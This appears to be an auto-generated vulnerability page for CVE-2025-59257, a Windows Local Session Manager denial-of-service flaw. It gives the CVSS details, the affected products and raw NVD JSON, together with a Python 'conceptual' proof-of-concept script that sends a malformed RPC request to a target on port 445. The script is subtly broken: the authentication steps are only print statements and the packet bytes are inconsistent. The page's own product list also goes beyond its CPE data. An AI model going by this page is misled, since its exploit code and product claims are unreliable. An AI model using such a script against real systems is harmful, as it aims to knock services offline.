Security Vulnerability Report
中文
CVE-2025-59257 CVSS 6.5 MEDIUM

CVE-2025-59257

Published: 2025-10-14 17:16:08
Last Modified: 2025-10-20 19:49:05

Description

Improper validation of specified type of input in Windows Local Session Manager (LSM) allows an authorized attacker to deny service over a network.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:* - VULNERABLE
Windows 10 (所有版本)
Windows 11 (所有版本)
Windows Server 2016
Windows Server 2019
Windows Server 2022
Windows Server 2025

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-59257 - Windows LSM Denial of Service PoC (Conceptual) # This is a conceptual PoC demonstrating the attack pattern for the # improper input validation vulnerability in Windows Local Session Manager. # WARNING: For authorized security testing and research purposes only. import socket import struct import sys TARGET_HOST = "192.168.1.100" TARGET_PORT = 445 # SMB port commonly used for LSM interaction USERNAME = "low_priv_user" PASSWORD = "password123" DOMAIN = "WORKGROUP" def build_malformed_lsm_request(): """ Build a malformed RPC request targeting the LSM service. The payload contains an unexpected/invalid type field that triggers the improper input validation flaw in LSM's request parser. """ # SMB/NTLM negotiate and session setup would occur here # Then a DCE/RPC bind to the LSM interface (lsarpc / sessmgr) rpc_bind = b"\x05\x00" # RPC version 5.0 rpc_bind += b"\x0b\x00" # RPC bind type rpc_bind += b"\x03\x00" # Call ID rpc_bind += b"\x10\x00\x00\x00" # Fragment length rpc_bind += b"\x00\x00" # Fragment max xmit rpc_bind += b"\x00\x00" # Fragment max recv rpc_bind += b"\x04\x00" # Assoc group ID # Malformed LSM request with invalid type indicator (opnum 0) # The critical field is set to an unexpected type value lsm_request = b"\x05\x00" # RPC version lsm_request += b"\x00\x00" # Request type (PDU) lsm_request += b"\x04\x00" # Call ID lsm_request += b"\x18\x00\x00\x00" # Alloc hint lsm_request += b"\x00\x00" # PCont ID lsm_request += b"\x00\x00" # Opnum # Malformed payload: invalid type descriptor for session input lsm_request += b"\xff\xff\xff\xff" # Invalid type value lsm_request += b"\x00" * 16 # Padding / additional fields return rpc_bind + lsm_request def exploit(): print(f"[*] Targeting {TARGET_HOST}:{TARGET_PORT}") print(f"[*] Using credentials {DOMAIN}\\{USERNAME}") try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((TARGET_HOST, TARGET_PORT)) print("[+] Connection established") # Step 1: SMB negotiate (simplified) print("[*] Sending SMB negotiate...") # Step 2: Authenticate with low-privilege credentials print("[*] Authenticating with low-privilege account...") # NTLM authentication handshake would occur here # Step 3: Send malformed LSM request print("[*] Sending malformed LSM request...") payload = build_malformed_lsm_request() sock.send(payload) print("[+] Malformed payload sent") # Step 4: Check if service crashed try: response = sock.recv(4096) if not response: print("[+] Target appears to have crashed (connection closed)") else: print(f"[*] Response received: {response.hex()}") except socket.timeout: print("[+] Target unresponsive - possible DoS condition") sock.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-59257", "sourceIdentifier": "[email protected]", "published": "2025-10-14T17:16:08.280", "lastModified": "2025-10-20T19:49:05.413", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper validation of specified type of input in Windows Local Session Manager (LSM) allows an authorized attacker to deny service over a network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1287"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.6899", "matchCriteriaId": "41E9F7AC-8E6D-43A0-A157-48A5E0B5BD0D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.6899", "matchCriteriaId": "3B77A066-4F79-4B1F-AECF-58DB4C651EA5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.1913", "matchCriteriaId": "370C12D6-90EF-44BE-8070-AA0080C12600"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndIncluding": "10.0.26100.6899", "matchCriteriaId": "CD6268EB-C42B-406F-B3FF-6E694F93BF41"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59257", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}